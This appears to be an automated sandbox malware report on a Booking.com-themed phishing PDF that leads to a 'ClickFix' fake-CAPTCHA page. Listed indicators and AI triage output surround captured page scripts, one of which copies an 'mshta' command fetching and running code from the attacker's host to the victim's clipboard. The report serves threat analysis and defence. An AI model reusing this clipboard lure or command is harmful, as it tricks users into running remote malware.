https://mercadoshops.com.co	sets.json.10.dr	false	high
https://gliadomain.com	sets.json.10.dr	false	high
https://poalim.xyz	sets.json.10.dr	false	high
https://mercadolivre.com	sets.json.10.dr	false	high
https://reshim.org	sets.json.10.dr	false	high
https://nourishingpursuits.com	sets.json.10.dr	false	high
https://medonet.pl	sets.json.10.dr	false	high
https://unotv.com	sets.json.10.dr	false	high
https://mercadoshops.com.br	sets.json.10.dr	false	high
https://joyreactor.cc	sets.json.10.dr	false	high
https://zdrowietvn.pl	sets.json.10.dr	false	high
https://johndeere.com	sets.json.10.dr	false	high
https://songstats.com	sets.json.10.dr	false	high
https://baomoi.com	sets.json.10.dr	false	high
https://supereva.it	sets.json.10.dr	false	high
https://elfinancierocr.com	sets.json.10.dr	false	high
https://bolasport.com	sets.json.10.dr	false	high
https://rws1nvtvt.com	sets.json.10.dr	false	high
https://desimartini.com	sets.json.10.dr	false	high
https://hearty.app	sets.json.10.dr	false	high
https://hearty.gift	sets.json.10.dr	false	high
https://mercadoshops.com	sets.json.10.dr	false	high
https://heartymail.com	sets.json.10.dr	false	high
https://nlc.hu	sets.json.10.dr	false	high
https://p106.net	sets.json.10.dr	false	high
https://radio2.be	sets.json.10.dr	false	high
https://finn.no	sets.json.10.dr	false	high
https://hc1.com	sets.json.10.dr	false	high
https://kompas.tv	sets.json.10.dr	false	high
https://mystudentdashboard.com	sets.json.10.dr	false	high
https://songshare.com	sets.json.10.dr	false	high
https://smaker.pl	sets.json.10.dr	false	high
https://mercadopago.com.mx	sets.json.10.dr	false	high
https://p24.hu	sets.json.10.dr	false	high
https://talkdeskqaid.com	sets.json.10.dr	false	high
https://24.hu	sets.json.10.dr	false	high
https://mercadopago.com.pe	sets.json.10.dr	false	high
https://cardsayings.net	sets.json.10.dr	false	high
https://text.com	sets.json.10.dr	false	high
https://www.euronews.com/#xdjl6ew2lzjy06545iav)	shJGPJRkwH.pdf	false	high
https://mightytext.net	sets.json.10.dr	false	high
https://pudelek.pl	sets.json.10.dr	false	high
https://hazipatika.com	sets.json.10.dr	false	high
https://joyreactor.com	sets.json.10.dr	false	high
https://cookreactor.com	sets.json.10.dr	false	high
https://wildixin.com	sets.json.10.dr	false	high
https://eworkbookcloud.com	sets.json.10.dr	false	high
https://cognitiveai.ru	sets.json.10.dr	false	high
https://nacion.com	sets.json.10.dr	false	high
https://chennien.com	sets.json.10.dr	false	high
https://drimer.travel	sets.json.10.dr	false	high
https://deccoria.pl	sets.json.10.dr	false	high
https://mercadopago.cl	sets.json.10.dr	false	high
https://talkdeskstgid.com	sets.json.10.dr	false	high
https://naukri.com	sets.json.10.dr	false	high
https://interia.pl	sets.json.10.dr	false	high
https://bonvivir.com	sets.json.10.dr	false	high
https://carcostadvisor.be	sets.json.10.dr	false	high
https://salemovetravel.com	sets.json.10.dr	false	high
https://sapo.io	sets.json.10.dr	false	high
https://wpext.pl	sets.json.10.dr	false	high
https://welt.de	sets.json.10.dr	false	high
https://poalim.site	sets.json.10.dr	false	high
https://drimer.io	sets.json.10.dr	false	high
https://infoedgeindia.com	sets.json.10.dr	false	high
https://www.aljazeera.com/#oeqr4yqyh9gnk2e889p)	shJGPJRkwH.pdf	false	high
https://blackrockadvisorelite.it	sets.json.10.dr	false	high
https://cognitive-ai.ru	sets.json.10.dr	false	high
https://cafemedia.com	sets.json.10.dr	false	high
https://graziadaily.co.uk	sets.json.10.dr	false	high
https://thirdspace.org.au	sets.json.10.dr	false	high
https://mercadoshops.com.ar	sets.json.10.dr	false	high
https://smpn106jkt.sch.id	sets.json.10.dr	false	high
https://elpais.uy	sets.json.10.dr	false	high
https://landyrev.com	sets.json.10.dr	false	high
https://the42.ie	sets.json.10.dr	false	high
https://commentcamarche.com	sets.json.10.dr	false	high
https://tucarro.com.ve	sets.json.10.dr	false	high
https://edmonton.ctvnews.ca/news-links/#gyny)	shJGPJRkwH.pdf	false	high
https://rws3nvtvt.com	sets.json.10.dr	false	high
https://eleconomista.net	sets.json.10.dr	false	high
https://helpdesk.com	sets.json.10.dr	false	high
https://mercadolivre.com.br	sets.json.10.dr	false	high
https://clmbtech.com	sets.json.10.dr	false	high
https://standardsandpraiserepurpose.com	sets.json.10.dr	false	high
https://07c225f3.online	sets.json.10.dr	false	high
https://salemovefinancial.com	sets.json.10.dr	false	high
https://mercadopago.com.br	sets.json.10.dr	false	high
https://zoom.us	sets.json.10.dr	false	high
https://commentcamarche.net	sets.json.10.dr	false	high
https://etfacademy.it	sets.json.10.dr	false	high
https://mighty-app.appspot.com	sets.json.10.dr	false	high
https://hj.rs	sets.json.10.dr	false	high
https://hearty.me	sets.json.10.dr	false	high
https://mercadolibre.com.gt	sets.json.10.dr	false	high
https://timesinternet.in	sets.json.10.dr	false	high
https://indiatodayne.in	sets.json.10.dr	false	high
https://idbs-staging.com	sets.json.10.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
104.21.94.195	fixecondfirbook.info	United States	13335	CLOUDFLARENETUS	false
18.245.31.53	d2i5gg36g14bzn.cloudfront.net	United States	16509	AMAZON-02US	false
66.63.187.216	clintonmakes.com	United States	8100	ASN-QUADRANET-GLOBALUS	false
23.209.209.135	e8652.dscx.akamaiedge.net	United States	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
18.245.31.49	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
186.64.116.70	minedudiser.com	Chile	52368	ZAMLTDACL	false

Private

IP
192.168.2.7
192.168.2.11
192.168.2.10

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592938
Start date and time:	2025-01-16 17:14:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	shJGPJRkwH.pdf renamed because original name is a hash value
Original Sample Name:	71c6dd7199d2355c6d7bee5b2b59367e9661430f66cb5e4a6bd0c2bf287d3cd4.pdf
Detection:	MAL
Classification:	mal84.phis.winPDF@44/75@24/12
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document URL browsing timeout or error Close Viewer

Errors

Corrupt sample or wrongly selected analyzer.

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 18.213.11.84, 50.16.47.176, 54.224.241.105, 34.237.241.83, 162.159.61.3, 172.64.41.3, 2.22.50.131, 2.22.50.144, 2.16.168.105, 2.16.168.107, 142.250.185.163, 142.250.185.110, 74.125.206.84, 216.58.206.78, 142.250.186.174, 216.58.206.67, 142.250.184.195, 172.217.16.202, 142.250.184.234, 142.250.185.106, 142.250.185.202, 142.250.186.74, 142.250.181.234, 172.217.18.10, 142.250.186.106, 142.250.185.170, 216.58.206.42, 142.250.185.74, 142.250.186.170, 142.250.185.234, 216.58.206.74, 142.250.186.42, 142.250.185.138, 216.58.212.170, 142.250.74.202, 216.58.212.138, 172.217.18.106, 172.217.16.206, 142.250.184.206, 142.250.181.238, 172.217.18.99, 142.250.186.78, 34.104.35.123, 216.58.206.46, 172.217.18.14, 184.28.90.27, 52.149.20.212, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, a767.dspw65.akamai.net, acroipm2.adobe.com, clients2.google.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, www.gstatic.com, wu-b-net.trafficmanager.net, optimizationguide-pa.googleapis.com, crl.root-x1.letsencrypt.org.edgekey.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, edgedl.me.gvt1.com, armmf.adobe.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:16:04	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

LLM Input / Output

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown
URL: https://fixecondfirbook.info/captchaHandler.js... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script has a moderate-risk indicator for external data transmission, as it sends the user's IP address to the '/send-ip' endpoint without any transparency or explanation. While this behavior may have a legitimate purpose, such as reCAPTCHA verification, the lack of context and potential privacy implications warrant further review." }
document.addEventListener('DOMContentLoaded', function() { const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox'); if (recaptchaCheckbox) { recaptchaCheckbox.addEventListener('click', function() { // IP- fetch('/send-ip', { method: 'POST' }).then(response => { if (response.ok) { console.log(''); } else { console.error(''); } }); }); } });
URL: https://fixecondfirbook.info/languageRevert.js... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script demonstrates some potentially concerning behaviors, such as preventing the default context menu and disabling keyboard shortcuts for changing the language. While these actions could be part of a legitimate feature, they may also indicate an attempt to restrict user control or prevent certain actions. Additionally, the use of a mutation observer to revert language changes could be an attempt to override user preferences. Overall, the script requires further review to determine the intent and potential impact." }
(function() { function revertLanguageChange() { if (document.documentElement.lang !== originalLang) { document.documentElement.lang = originalLang; } } const originalLang = document.documentElement.lang; const observer = new MutationObserver(revertLanguageChange); observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); }, false); document.addEventListener('keydown', function(event) { if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') { event.preventDefault(); } if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') { event.preventDefault(); } }, false); })();
URL: https://fixecondfirbook.info/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The `copyToClipboard()` function generates a command that could be used for malicious purposes, and the script also manipulates the DOM to hide the reCAPTCHA checkbox and display a custom SVG element. These behaviors, combined with the suspicious intent and lack of transparency, indicate a high-risk script that should be further investigated." }
async function copyToClipboard() { var copyText = `mshta ${window.location.origin}/captcha # ''I am not a robot - reCAPTCHA Verification ID: 4345''` try { await navigator.clipboard.writeText(copyText); } catch (error) { } } function someEdit() { document.getElementsByClassName('recaptcha-checkbox')[0].style.display = 'none' document.getElementsByClassName("loadImg")[0].innerHTML = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid" style="shape-rendering: auto; display: block; background: transparent;" width="32" height="32" xmlns:xlink="http://www.w3.org/1999/xlink"><g><circle stroke-dasharray="155.50883635269477 53.83627878423159" r="33" stroke-width="12" stroke="#4d90fe" fill="none" cy="50" cx="50"> <animateTransform keyTimes="0;1" values="0 50 50;360 50 50" dur="1.3888888888888888s" repeatCount="indefinite" type="rotate" attributeName="transform"></animateTransform> </circle><g></g></g></svg>` setTimeout(function () { document.getElementsByClassName('sjgdhfgas34')[0].style.display = "block" copyToClipboard() }, 2000) }
URL: https://clintonmakes.com/215c/#mrzltabnxnf1v7h1hxq... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates high-risk behavior, including dynamic code execution and data exfiltration. The use of the `window.onerror` event handler to call the `process()` function, which then redirects the user to an external domain, is a strong indicator of malicious intent. Additionally, the obfuscated variable name `a06688` suggests an attempt to conceal the script's purpose. Overall, this script poses a significant security risk and should be treated with caution." }
function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function process() { await sleep(0); if (window.location !== window.parent.location ) { top.location = "http://clintonmakes.com/215c/"; } else { window.location = "http://clintonmakes.com/215c/"; } } a06688= 87; window.onerror = process; process();
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "A lodger has lodged a concern regarding their past stay at your establishment. The grievance includes mentions about events involving your workforce and living arrangements.", "prominent_button_name": "View Complaint", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://fixecondfirbook.info Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true, "reasoning": "This appears to be a typosquatting attempt targeting Facebook ('fixecondfirbook' is a manipulated version of 'facebook'). The .info TLD is considered suspicious as it's commonly used in malicious campaigns due to its low cost and fewer registration restrictions. The domain name is deliberately misspelled to trick users." }
URL: https://fixecondfirbook.info
URL: https://fixecondfirbook.info/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Booking.com" ] }
	{ "brands": [ "Booking.com" ] }
URL: https://fixecondfirbook.info/ Model: Joe Sandbox AI	{ "brands": [ "Booking" ] }
	{ "brands": [ "Booking" ] }
URL: https://fixecondfirbook.info/ Model: Joe Sandbox AI	```json{ "legit_domain": "booking.com", "classification": "wellknown", "reasons": [ "The brand 'Booking' is well-known and is associated with the legitimate domain 'booking.com'.", "The URL 'fixecondfirbook.info' does not match the legitimate domain 'booking.com'.", "The URL contains suspicious elements such as misspellings and unusual domain extension '.info'.", "The domain name 'fixecondfirbook.info' does not have any clear association with the brand 'Booking'.", "The presence of unrelated or misspelled words in the domain name is a common phishing tactic." ], "riskscore": 9} Google indexed: False
URL: fixecondfirbook.info Brands: Booking Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
66.63.187.216	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	clintonmakes.com/favicon.ico
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	clintonmakes.com/favicon.ico
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	clintonmakes.com/favicon.ico
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	swxpeyou.com/favicon.ico
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	edwatsonsmallworks.com/favicon.ico
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	leahbdesign.com/favicon.ico
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	revelsocialclub.com/favicon.ico
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	ritarichards.com/favicon.ico
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	burnalong-info.com/favicon.ico
	OpoLADYwIE.pdf	Get hash	malicious	Unknown	Browse	scaladc.com/favicon.ico
104.21.94.195	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	OpoLADYwIE.pdf	Get hash	malicious	Unknown	Browse
	JlZU1N9b8M.pdf	Get hash	malicious	Unknown	Browse
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	ilCvGBnBTU.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
18.245.31.53	ilCvGBnBTU.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	https://page-view-reserved-eng.com/mrzorecf	Get hash	malicious	Unknown	Browse
	https://rinderynitvye.blogspot.com/	Get hash	malicious	CAPTCHA Scam ClickFix, Phisher	Browse
	index.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	Reservation Detail Booking.com ID4336.vbs	Get hash	malicious	AsyncRAT, PureLog Stealer, zgRAT	Browse
	http://langtonskilkenny.com/rrUrhf	Get hash	malicious	Unknown	Browse
	https://check-hticompialnt520842.com/sign-in?op_token=6QouodMTj42Y9R6vu7f7F4jkiiAw5e0RnP0YJ7kaakP7NW4bImz7RzENOq9XAroPzLQq7OQtDzJlNnfUSwkvnHQF3HnsYuhEh8y&uuid=3334009b-8512-457f-a8c7-c29303c4adbc&hash=lrio35yeh&language=en	Get hash	malicious	Unknown	Browse
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse
	ROOMING 24034 Period Check-in on July 5th and departure on July 15th, 2024.bat	Get hash	malicious	Unknown	Browse
	https://ennexhorpps.com/apart/book244102ashotxxx22214	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
e8652.dscx.akamaiedge.net	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	2.23.197.184
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	2.23.197.184
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	OpoLADYwIE.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	JlZU1N9b8M.pdf	Get hash	malicious	Unknown	Browse	2.23.197.184
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
fixecondfirbook.info	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	104.21.94.195
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.168.162
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.168.162
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	OpoLADYwIE.pdf	Get hash	malicious	Unknown	Browse	104.21.94.195
d2i5gg36g14bzn.cloudfront.net	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.49
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.129
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	ilCvGBnBTU.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.53
	https://page-get-reserves.com/yewhahgt/	Get hash	malicious	Unknown	Browse	18.245.31.18
	https://page-view-reserved-eng.com/mrzorecf	Get hash	malicious	Unknown	Browse	18.245.31.49
	https://page-view-reserved-en.com/erabwasi	Get hash	malicious	Unknown	Browse	18.245.31.18
	https://page-get-reserves.com/nhdkbyzt	Get hash	malicious	Unknown	Browse	18.245.31.129
clintonmakes.com	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	ldr_iZHxN1Dnxf.exe	Get hash	malicious	Unknown	Browse	52.29.50.127
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.49
	ldr_iZHxN1Dnxf.exe	Get hash	malicious	Unknown	Browse	18.195.185.2
	SecurityHealthHost.exe	Get hash	malicious	Stealerium	Browse	45.112.123.224
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.129
	svchost.exe	Get hash	malicious	Stealerium	Browse	45.112.123.224
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	ilCvGBnBTU.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.129
CLOUDFLARENETUS	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	https://www.google.com.vn/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%RANDOM4%wDnNeW8yycT&sa=t&esrc=nNeW8F%RANDOM3%A0xys8Em2FL&source=&cd=tS6T8%RANDOM3%Tiw9XH&cad=XpPkDfJX%RANDOM4%VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fkayik.com.au/glyxzb/e7365d2bd9a2e2c8b5587a6a9eb341aa/YXdpbGxpYW1zQGtmb3JjZS5jb20=	Get hash	malicious	Unknown	Browse	104.17.25.14
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	https://852u.adj.st/credits-opensea/?sk=288xDmHv&adj_t=wt0ujiy&adj_deep_link=eversheds-sutherlandpago://credits-opensea/?sk=288xDmHv&adj_label=MLM_MP_ML-EMAIL_CC_MARA_AO-UCR_ALL_ACT_X_X_DEFAULT_I-EG-UCR-MUTT-MAR-ABIERTO&adj_fallback=https://iondetox.com.ar/g63c/5617939594/Eversheds-sutherland/?eu=Y2xvemFub0BldmVyc2hlZHMtc3V0aGVybGFuZC5lcw==	Get hash	malicious	Unknown	Browse	188.114.96.3
	Aura.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig	Browse	104.21.96.1
	Menu.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.112.1
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	104.21.94.195
	New [V2.2.0].exe	Get hash	malicious	LummaC	Browse	104.21.39.230
	SecurityHealthHost.exe	Get hash	malicious	Stealerium	Browse	104.16.185.241
ASN-QUADRANET-GLOBALUS	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216
	OpoLADYwIE.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	OpoLADYwIE.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	http://magentacloud.de/s/DeFCB6g8NjbfYpY	Get hash	malicious	Unknown	Browse	23.209.209.135
	celebrationannabirthday.mp4.hta	Get hash	malicious	LummaC	Browse	23.209.209.135
	Infoblatt_Ausnahmesituation.pdf.lnk	Get hash	malicious	LummaC	Browse	23.209.209.135

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.210788885337396
Encrypted:	false
SSDEEP:	6:iO+8q2PcNwi2nKuAl9OmbnIFUtUeZmwqSkwOcNwi2nKuAl9OmbjLJ:7+8vLZHAahFUtUe/qS54ZHAaSJ
MD5:	3EAE35F2B63440940FB88A3931DF9198
SHA1:	0BA238EF630A161EDA10C73AFD403CE9C12999C0
SHA-256:	2CB5239AC2C16934EC0120D44209240150652A3777687E5F8EE758FDCF8758A0
SHA-512:	F34A0B969D541704C9AFE3EE8A585638182065DF965F3FCAD1216618BE5FD350A02F0F5CB5409ACFAFBFA1CB66246C2B207239F78B188FC11050F0267CAE0672
Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:15:51.146 280 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/16-11:15:51.149 280 Recovering log #3.2025/01/16-11:15:51.149 280 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.210788885337396
Encrypted:	false
SSDEEP:	6:iO+8q2PcNwi2nKuAl9OmbnIFUtUeZmwqSkwOcNwi2nKuAl9OmbjLJ:7+8vLZHAahFUtUe/qS54ZHAaSJ
MD5:	3EAE35F2B63440940FB88A3931DF9198
SHA1:	0BA238EF630A161EDA10C73AFD403CE9C12999C0
SHA-256:	2CB5239AC2C16934EC0120D44209240150652A3777687E5F8EE758FDCF8758A0
SHA-512:	F34A0B969D541704C9AFE3EE8A585638182065DF965F3FCAD1216618BE5FD350A02F0F5CB5409ACFAFBFA1CB66246C2B207239F78B188FC11050F0267CAE0672
Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:15:51.146 280 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/16-11:15:51.149 280 Recovering log #3.2025/01/16-11:15:51.149 280 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.153442224256782
Encrypted:	false
SSDEEP:	6:iO+xt+q2PcNwi2nKuAl9Ombzo2jMGIFUtUmkZmwqmEVkwOcNwi2nKuAl9Ombzo23:7+xovLZHAa8uFUtUmk/qmE54ZHAa8RJ
MD5:	9BE9F4983F8AC44E25A5AC0E6ADB055B
SHA1:	FE96EC9DFBEA39589D85AFC752A3C1E0299C6F4E
SHA-256:	2A5A769FF13F5F1A559048DCEA27070D94F86EBFD8B5F5BE8EB44D31F65FFA3C
SHA-512:	501FB19542A5FF7A4B15C78DBC97FBC430C6CDB57A5FABD6C4339C5664110D5652FCB8057C7DDA36CFCB79FBA764A79B6F7970433FF127DFCB0520F439B99C52
Malicious:	false
Reputation:	low
